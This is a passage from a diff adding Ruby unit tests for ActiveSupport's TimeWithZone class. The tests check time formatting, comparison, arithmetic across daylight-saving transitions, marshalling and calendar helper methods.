+ assert_equal "1999-12-31T19:00:00.001234-05:00", @twz.xmlschema(12)
+ end
+
+ def test_to_yaml
+ assert_match(/^--- 2000-01-01 00:00:00(\.0+)?\s*Z\n/, @twz.to_yaml)
+ end
+
+ def test_ruby_to_yaml
+ assert_match(/---\s*\n:twz: 2000-01-01 00:00:00(\.0+)?\s*Z\n/, {:twz => @twz}.to_yaml)
+ end
+
+ def test_httpdate
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 GMT', @twz.httpdate
+ end
+
+ def test_rfc2822
+ assert_equal "Fri, 31 Dec 1999 19:00:00 -0500", @twz.rfc2822
+ end
+
+ def test_compare_with_time
+ assert_equal 1, @twz <=> Time.utc(1999, 12, 31, 23, 59, 59)
+ assert_equal 0, @twz <=> Time.utc(2000, 1, 1, 0, 0, 0)
+ assert_equal(-1, @twz <=> Time.utc(2000, 1, 1, 0, 0, 1))
+ end
+
+ def test_compare_with_datetime
+ assert_equal 1, @twz <=> DateTime.civil(1999, 12, 31, 23, 59, 59)
+ assert_equal 0, @twz <=> DateTime.civil(2000, 1, 1, 0, 0, 0)
+ assert_equal(-1, @twz <=> DateTime.civil(2000, 1, 1, 0, 0, 1))
+ end
+
+ def test_compare_with_time_with_zone
+ assert_equal 1, @twz <=> ActiveSupport::TimeWithZone.new( Time.utc(1999, 12, 31, 23, 59, 59), ActiveSupport::TimeZone['UTC'] )
+ assert_equal 0, @twz <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 0), ActiveSupport::TimeZone['UTC'] )
+ assert_equal(-1, @twz <=> ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 0, 0, 1), ActiveSupport::TimeZone['UTC'] ))
+ end
+
+ def test_between?
+ assert @twz.between?(Time.utc(1999,12,31,23,59,59), Time.utc(2000,1,1,0,0,1))
+ assert_equal false, @twz.between?(Time.utc(2000,1,1,0,0,1), Time.utc(2000,1,1,0,0,2))
+ end
+
+ def test_today
+ Date.stubs(:current).returns(Date.new(2000, 1, 1))
+ assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(1999,12,31,23,59,59) ).today?
+ assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,1,0) ).today?
+ assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,1,23,59,59) ).today?
+ assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.utc(2000,1,2,0) ).today?
+ end
+
+ def test_past_with_time_current_as_time_local
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45))
+ assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).past?
+ assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).past?
+ assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).past?
+ end
+ end
+
+ def test_past_with_time_current_as_time_with_zone
+ twz = ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45) )
+ Time.stubs(:current).returns(twz)
+ assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).past?
+ assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).past?
+ assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).past?
+ end
+
+ def test_future_with_time_current_as_time_local
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:current).returns(Time.local(2005,2,10,15,30,45))
+ assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).future?
+ assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).future?
+ assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).future?
+ end
+ end
+
+ def test_future_with_time_current_as_time_with_zone
+ twz = ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45) )
+ Time.stubs(:current).returns(twz)
+ assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,44)).future?
+ assert_equal false, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,45)).future?
+ assert_equal true, ActiveSupport::TimeWithZone.new( nil, @time_zone, Time.local(2005,2,10,15,30,46)).future?
+ end
+
+ def test_eql?
+ assert_equal true, @twz.eql?(Time.utc(2000))
+ assert_equal true, @twz.eql?( ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]) )
+ assert_equal false, @twz.eql?( Time.utc(2000, 1, 1, 0, 0, 1) )
+ assert_equal false, @twz.eql?( DateTime.civil(1999, 12, 31, 23, 59, 59) )
+ end
+
+ def test_hash
+ assert_equal Time.utc(2000).hash, @twz.hash
+ assert_equal Time.utc(2000).hash, ActiveSupport::TimeWithZone.new(Time.utc(2000), ActiveSupport::TimeZone["Hawaii"]).hash
+ end
+
+ def test_plus_with_integer
+ assert_equal Time.utc(1999, 12, 31, 19, 0 ,5), (@twz + 5).time
+ end
+
+ def test_plus_with_integer_when_self_wraps_datetime
+ datetime = DateTime.civil(2000, 1, 1, 0)
+ twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
+ assert_equal DateTime.civil(1999, 12, 31, 19, 0 ,5), (twz + 5).time
+ end
+
+ def test_plus_when_crossing_time_class_limit
+ twz = ActiveSupport::TimeWithZone.new(Time.utc(2038, 1, 19), @time_zone)
+ assert_equal [0, 0, 19, 19, 1, 2038], (twz + 86_400).to_a[0,6]
+ end
+
+ def test_plus_with_duration
+ assert_equal Time.utc(2000, 1, 5, 19, 0 ,0), (@twz + 5.days).time
+ end
+
+ def test_minus_with_integer
+ assert_equal Time.utc(1999, 12, 31, 18, 59 ,55), (@twz - 5).time
+ end
+
+ def test_minus_with_integer_when_self_wraps_datetime
+ datetime = DateTime.civil(2000, 1, 1, 0)
+ twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
+ assert_equal DateTime.civil(1999, 12, 31, 18, 59 ,55), (twz - 5).time
+ end
+
+ def test_minus_with_duration
+ assert_equal Time.utc(1999, 12, 26, 19, 0 ,0), (@twz - 5.days).time
+ end
+
+ def test_minus_with_time
+ assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - Time.utc(2000, 1, 1)
+ assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['Hawaii'] ) - Time.utc(2000, 1, 1)
+ end
+
+ def test_minus_with_time_with_zone
+ twz1 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['UTC'] )
+ twz2 = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] )
+ assert_equal 86_400.0, twz2 - twz1
+ end
+
+ def test_minus_with_datetime
+ assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
+ end
+
+ def test_minus_with_wrapped_datetime
+ assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - Time.utc(2000, 1, 1)
+ assert_equal 86_400.0, ActiveSupport::TimeWithZone.new( DateTime.civil(2000, 1, 2), ActiveSupport::TimeZone['UTC'] ) - DateTime.civil(2000, 1, 1)
+ end
+
+ def test_plus_and_minus_enforce_spring_dst_rules
+ utc = Time.utc(2006,4,2,6,59,59) # == Apr 2 2006 01:59:59 EST; i.e., 1 second before daylight savings start
+ twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+ assert_equal Time.utc(2006,4,2,1,59,59), twz.time
+ assert_equal false, twz.dst?
+ assert_equal 'EST', twz.zone
+ twz = twz + 1
+ assert_equal Time.utc(2006,4,2,3), twz.time # adding 1 sec springs forward to 3:00AM EDT
+ assert_equal true, twz.dst?
+ assert_equal 'EDT', twz.zone
+ twz = twz - 1 # subtracting 1 second takes goes back to 1:59:59AM EST
+ assert_equal Time.utc(2006,4,2,1,59,59), twz.time
+ assert_equal false, twz.dst?
+ assert_equal 'EST', twz.zone
+ end
+
+ def test_plus_and_minus_enforce_fall_dst_rules
+ utc = Time.utc(2006,10,29,5,59,59) # == Oct 29 2006 01:59:59 EST; i.e., 1 second before daylight savings end
+ twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+ assert_equal Time.utc(2006,10,29,1,59,59), twz.time
+ assert_equal true, twz.dst?
+ assert_equal 'EDT', twz.zone
+ twz = twz + 1
+ assert_equal Time.utc(2006,10,29,1), twz.time # adding 1 sec falls back from 1:59:59 EDT to 1:00AM EST
+ assert_equal false, twz.dst?
+ assert_equal 'EST', twz.zone
+ twz = twz - 1
+ assert_equal Time.utc(2006,10,29,1,59,59), twz.time # subtracting 1 sec goes back to 1:59:59AM EDT
+ assert_equal true, twz.dst?
+ assert_equal 'EDT', twz.zone
+ end
+
+ def test_to_a
+ assert_equal [45, 30, 5, 1, 2, 2000, 2, 32, false, "HST"], ActiveSupport::TimeWithZone.new( Time.utc(2000, 2, 1, 15, 30, 45), ActiveSupport::TimeZone['Hawaii'] ).to_a
+ end
+
+ def test_to_f
+ result = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['Hawaii'] ).to_f
+ assert_equal 946684800.0, result
+ assert_kind_of Float, result
+ end
+
+ def test_to_i
+ result = ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1), ActiveSupport::TimeZone['Hawaii'] ).to_i
+ assert_equal 946684800, result
+ assert_kind_of Integer, result
+ end
+
+ def test_to_i_with_wrapped_datetime
+ datetime = DateTime.civil(2000, 1, 1, 0)
+ twz = ActiveSupport::TimeWithZone.new(datetime, @time_zone)
+ assert_equal 946684800, twz.to_i
+ end
+
+ def test_to_r
+ result = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone['Hawaii']).to_r
+ assert_equal Rational(946684800, 1), result
+ assert_kind_of Rational, result
+ end
+
+ def test_time_at
+ time = ActiveSupport::TimeWithZone.new(Time.utc(2000, 1, 1), ActiveSupport::TimeZone['Hawaii'])
+ assert_equal time, Time.at(time)
+ end
+
+ def test_to_time
+ with_env_tz 'US/Eastern' do
+ assert_equal Time, @twz.to_time.class
+ assert_equal Time.local(1999, 12, 31, 19), @twz.to_time
+ assert_equal Time.local(1999, 12, 31, 19).utc_offset, @twz.to_time.utc_offset
+ end
+ end
+
+ def test_to_date
+ # 1 sec before midnight Jan 1 EST
+ assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
+ # midnight Jan 1 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 5, 0, 0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
+ # 1 sec before midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
+ # midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 5, 0, 0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
+ end
+
+ def test_to_datetime
+ assert_equal DateTime.civil(1999, 12, 31, 19, 0, 0, Rational(-18_000, 86_400)), @twz.to_datetime
+ end
+
+ def test_acts_like_time
+ assert @twz.acts_like?(:time)
+ assert ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone).acts_like?(:time)
+ end
+
+ def test_acts_like_date
+ assert_equal false, @twz.acts_like?(:date)
+ assert_equal false, ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone).acts_like?(:date)
+ end
+
+ def test_is_a
+ assert_kind_of Time, @twz
+ assert_kind_of Time, @twz
+ assert_kind_of ActiveSupport::TimeWithZone, @twz
+ end
+
+ def test_class_name
+ assert_equal 'Time', ActiveSupport::TimeWithZone.name
+ end
+
+ def test_method_missing_with_time_return_value
+ assert_instance_of ActiveSupport::TimeWithZone, @twz.months_since(1)
+ assert_equal Time.utc(2000, 1, 31, 19, 0 ,0), @twz.months_since(1).time
+ end
+
+ def test_marshal_dump_and_load
+ marshal_str = Marshal.dump(@twz)
+ mtime = Marshal.load(marshal_str)
+ assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
+ assert mtime.utc.utc?
+ assert_equal ActiveSupport::TimeZone['Eastern Time (US & Canada)'], mtime.time_zone
+ assert_equal Time.utc(1999, 12, 31, 19), mtime.time
+ assert mtime.time.utc?
+ assert_equal @twz.inspect, mtime.inspect
+ end
+
+ def test_marshal_dump_and_load_with_tzinfo_identifier
+ twz = ActiveSupport::TimeWithZone.new(@utc, TZInfo::Timezone.get('America/New_York'))
+ marshal_str = Marshal.dump(twz)
+ mtime = Marshal.load(marshal_str)
+ assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
+ assert mtime.utc.utc?
+ assert_equal 'America/New_York', mtime.time_zone.name
+ assert_equal Time.utc(1999, 12, 31, 19), mtime.time
+ assert mtime.time.utc?
+ assert_equal @twz.inspect, mtime.inspect
+ end
+
+ def test_freeze
+ @twz.freeze
+ assert @twz.frozen?
+ end
+
+ def test_freeze_preloads_instance_variables
+ @twz.freeze
+ assert_nothing_raised do
+ @twz.period
+ @twz.time
+ end
+ end
+
+ def test_method_missing_with_non_time_return_value
+ @twz.time.expects(:foo).returns('bar')
+ assert_equal 'bar', @twz.foo
+ end
+
+ def test_date_part_value_methods
+ twz = ActiveSupport::TimeWithZone.new(Time.utc(1999,12,31,19,18,17,500), @time_zone)
+ twz.expects(:method_missing).never
+ assert_equal 1999, twz.year
+ assert_equal 12, twz.month
+ assert_equal 31, twz.day
+ assert_equal 14, twz.hour
+ assert_equal 18, twz.min
+ assert_equal 17, twz.sec
+ assert_equal 500, twz.usec
+ assert_equal 5, twz.wday
+ assert_equal 365, twz.yday
+ end
+
+ def test_usec_returns_0_when_datetime_is_wrapped
+ twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone)
+ assert_equal 0, twz.usec
+ end
+
+ def test_utc_to_local_conversion_saves_period_in_instance_variable
+ assert_nil @twz.instance_variable_get('@period')
+ @twz.time
+ assert_kind_of TZInfo::TimezonePeriod, @twz.instance_variable_get('@period')
+ end
+
+ def test_instance_created_with_local_time_returns_correct_utc_time
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 19))
+ assert_equal Time.utc(2000), twz.utc
+ end
+
+ def test_instance_created_with_local_time_enforces_spring_dst_rules
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,2)) # first second of DST
+ assert_equal Time.utc(2006,4,2,3), twz.time # springs forward to 3AM
+ assert_equal true, twz.dst?
+ assert_equal 'EDT', twz.zone
+ end
+
+ def test_instance_created_with_local_time_enforces_fall_dst_rules
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,29,1)) # 1AM can be either DST or non-DST; we'll pick DST
+ assert_equal Time.utc(2006,10,29,1), twz.time
+ assert_equal true, twz.dst?
+ assert_equal 'EDT', twz.zone
+ end
+
+ def test_ruby_19_weekday_name_query_methods
+ %w(sunday? monday? tuesday? wednesday? thursday? friday? saturday?).each do |name|
+ assert_respond_to @twz, name
+ assert_equal @twz.send(name), @twz.method(name).call
+ end
+ end
+
+ def test_utc_to_local_conversion_with_far_future_datetime
+ assert_equal [0,0,19,31,12,2049], ActiveSupport::TimeWithZone.new(DateTime.civil(2050), @time_zone).to_a[0,6]
+ end
+
+ def test_local_to_utc_conversion_with_far_future_datetime
+ assert_equal DateTime.civil(2050).to_f, ActiveSupport::TimeWithZone.new(nil, @time_zone, DateTime.civil(2049,12,31,19)).to_f
+ end
+
+ def test_change
+ assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+ assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.change(:year => 2001).inspect
+ assert_equal "Wed, 31 Mar 1999 19:00:00 EST -05:00", @twz.change(:month => 3).inspect
+ assert_equal "Wed, 03 Mar 1999 19:00:00 EST -05:00", @twz.change(:month => 2).inspect
+ assert_equal "Wed, 15 Dec 1999 19:00:00 EST -05:00", @twz.change(:day => 15).inspect
+ assert_equal "Fri, 31 Dec 1999 06:00:00 EST -05:00", @twz.change(:hour => 6).inspect
+ assert_equal "Fri, 31 Dec 1999 19:15:00 EST -05:00", @twz.change(:min => 15).inspect
+ assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.change(:sec => 30).inspect
+ end
+
+ def test_advance
+ assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+ assert_equal "Mon, 31 Dec 2001 19:00:00 EST -05:00", @twz.advance(:years => 2).inspect
+ assert_equal "Fri, 31 Mar 2000 19:00:00 EST -05:00", @twz.advance(:months => 3).inspect
+ assert_equal "Tue, 04 Jan 2000 19:00:00 EST -05:00", @twz.advance(:days => 4).inspect
+ assert_equal "Sat, 01 Jan 2000 01:00:00 EST -05:00", @twz.advance(:hours => 6).inspect
+ assert_equal "Fri, 31 Dec 1999 19:15:00 EST -05:00", @twz.advance(:minutes => 15).inspect
+ assert_equal "Fri, 31 Dec 1999 19:00:30 EST -05:00", @twz.advance(:seconds => 30).inspect
+ end
+
+ def test_beginning_of_year
+ assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+ assert_equal "Fri, 01 Jan 1999 00:00:00 EST -05:00", @twz.beginning_of_year.inspect
+ end
+
+ def test_end_of_year
+ assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+ assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_year.inspect
+ end
+
+ def test_beginning_of_month
+ assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+ assert_equal "Wed, 01 Dec 1999 00:00:00 EST -05:00", @twz.beginning_of_month.inspect
+ end
+
+ def test_end_of_month
+ assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+ assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_month.inspect
+ end
+
+ def test_beginning_of_day
+ assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+ assert_equal "Fri, 31 Dec 1999 00:00:00 EST -05:00", @twz.beginning_of_day.inspect
+ end
+
+ def test_end_of_day
+ assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", @twz.inspect
+ assert_equal "Fri, 31 Dec 1999 23:59:59 EST -05:00", @twz.end_of_day.inspect
+ end
+
+ def test_beginning_of_hour
+ utc = Time.utc(2000, 1, 1, 0, 30)
+ twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+ assert_equal "Fri, 31 Dec 1999 19:30:00 EST -05:00", twz.inspect
+ assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", twz.beginning_of_hour.inspect
+ end
+
+ def test_end_of_hour
+ utc = Time.utc(2000, 1, 1, 0, 30)
+ twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+ assert_equal "Fri, 31 Dec 1999 19:30:00 EST -05:00", twz.inspect
+ assert_equal "Fri, 31 Dec 1999 19:59:59 EST -05:00", twz.end_of_hour.inspect
+ end
+
+ def test_beginning_of_minute
+ utc = Time.utc(2000, 1, 1, 0, 30, 10)
+ twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+ assert_equal "Fri, 31 Dec 1999 19:30:10 EST -05:00", twz.inspect
+ assert_equal "Fri, 31 Dec 1999 19:00:00 EST -05:00", twz.beginning_of_hour.inspect
+ end
+
+ def test_end_of_minute
+ utc = Time.utc(2000, 1, 1, 0, 30, 10)
+ twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+ assert_equal "Fri, 31 Dec 1999 19:30:10 EST -05:00", twz.inspect
+ assert_equal "Fri, 31 Dec 1999 19:30:59 EST -05:00", twz.end_of_minute.inspect
+ end
+
+ def test_since
+ assert_equal "Fri, 31 Dec 1999 19:00:01 EST -05:00", @twz.since(1).inspect
+ end
+
+ def test_ago
+ assert_equal "Fri, 31 Dec 1999 18:59:59 EST -05:00", @twz.ago(1).inspect
+ end
+
+ def test_seconds_since_midnight
+ assert_equal 19 * 60 * 60, @twz.seconds_since_midnight
+ end
+
+ def test_advance_1_year_from_leap_day
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2004,2,29))
+ assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.advance(:years => 1).inspect
+ assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.years_since(1).inspect
+ assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.since(1.year).inspect
+ assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", (twz + 1.year).inspect
+ end
+
+ def test_advance_1_month_from_last_day_of_january
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2005,1,31))
+ assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.advance(:months => 1).inspect
+ assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.months_since(1).inspect
+ assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", twz.since(1.month).inspect
+ assert_equal "Mon, 28 Feb 2005 00:00:00 EST -05:00", (twz + 1.month).inspect
+ end
+
+ def test_advance_1_month_from_last_day_of_january_during_leap_year
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2000,1,31))
+ assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.advance(:months => 1).inspect
+ assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.months_since(1).inspect
+ assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", twz.since(1.month).inspect
+ assert_equal "Tue, 29 Feb 2000 00:00:00 EST -05:00", (twz + 1.month).inspect
+ end
+
+ def test_advance_1_month_into_spring_dst_gap
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,3,2,2))
+ assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.advance(:months => 1).inspect
+ assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.months_since(1).inspect
+ assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1.month).inspect
+ assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1.month).inspect
+ end
+
+ def test_advance_1_second_into_spring_dst_gap
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,1,59,59))
+ assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.advance(:seconds => 1).inspect
+ assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1).inspect
+ assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1).inspect
+ assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", twz.since(1.second).inspect
+ assert_equal "Sun, 02 Apr 2006 03:00:00 EDT -04:00", (twz + 1.second).inspect
+ end
+
+ def test_advance_1_day_across_spring_dst_transition
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,1,10,30))
+ # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
+ # When we advance 1 day, we want to end up at the same time on the next day
+ assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", twz.advance(:days => 1).inspect
+ assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", twz.since(1.days).inspect
+ assert_equal "Sun, 02 Apr 2006 10:30:00 EDT -04:00", (twz + 1.days).inspect
+ assert_equal "Sun, 02 Apr 2006 10:30:01 EDT -04:00", twz.since(1.days + 1.second).inspect
+ assert_equal "Sun, 02 Apr 2006 10:30:01 EDT -04:00", (twz + 1.days + 1.second).inspect
+ end
+
+ def test_advance_1_day_across_spring_dst_transition_backwards
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,10,30))
+ # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
+ # When we advance back 1 day, we want to end up at the same time on the previous day
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(:days => -1).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1.days).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1.days).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:01 EST -05:00", twz.ago(1.days - 1.second).inspect
+ end
+
+ def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_spring_dst_transition
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,1,10,30))
+ # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
+ # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
+ assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 86400).inspect
+ assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 86400.seconds).inspect
+ assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(86400).inspect
+ assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(86400.seconds).inspect
+ assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(:seconds => 86400).inspect
+ assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 1440.minutes).inspect
+ assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(1440.minutes).inspect
+ assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(:minutes => 1440).inspect
+ assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", (twz + 24.hours).inspect
+ assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.since(24.hours).inspect
+ assert_equal "Sun, 02 Apr 2006 11:30:00 EDT -04:00", twz.advance(:hours => 24).inspect
+ end
+
+ def test_advance_1_day_expressed_as_number_of_seconds_minutes_or_hours_across_spring_dst_transition_backwards
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,11,30))
+ # In 2006, spring DST transition occurred Apr 2 at 2AM; this day was only 23 hours long
+ # When we advance a specific number of hours, minutes or seconds, we want to advance exactly that amount
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 86400).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 86400.seconds).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(86400).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(86400.seconds).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(:seconds => -86400).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 1440.minutes).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(1440.minutes).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(:minutes => -1440).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", (twz - 24.hours).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.ago(24.hours).inspect
+ assert_equal "Sat, 01 Apr 2006 10:30:00 EST -05:00", twz.advance(:hours => -24).inspect
+ end
+
+ def test_advance_1_day_across_fall_dst_transition
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,28,10,30))
+ # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
+ # When we advance 1 day, we want to end up at the same time on the next day
+ assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", twz.advance(:days => 1).inspect
+ assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", twz.since(1.days).inspect
+ assert_equal "Sun, 29 Oct 2006 10:30:00 EST -05:00", (twz + 1.days).inspect
+ assert_equal "Sun, 29 Oct 2006 10:30:01 EST -05:00", twz.since(1.days + 1.second).inspect
+ assert_equal "Sun, 29 Oct 2006 10:30:01 EST -05:00", (twz + 1.days + 1.second).inspect
+ end
+
+ def test_advance_1_day_across_fall_dst_transition_backwards
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,29,10,30))
+ # In 2006, fall DST transition occurred Oct 29 at 2AM; this day was 25 hours long
+ # When we advance backwards 1 day, we want to end up at the same time on the previous day
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.advance(:days => -1).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", twz.ago(1.days).inspect
+ assert_equal "Sat, 28 Oct 2006 10:30:00 EDT -04:00", (twz - 1.days).inspect
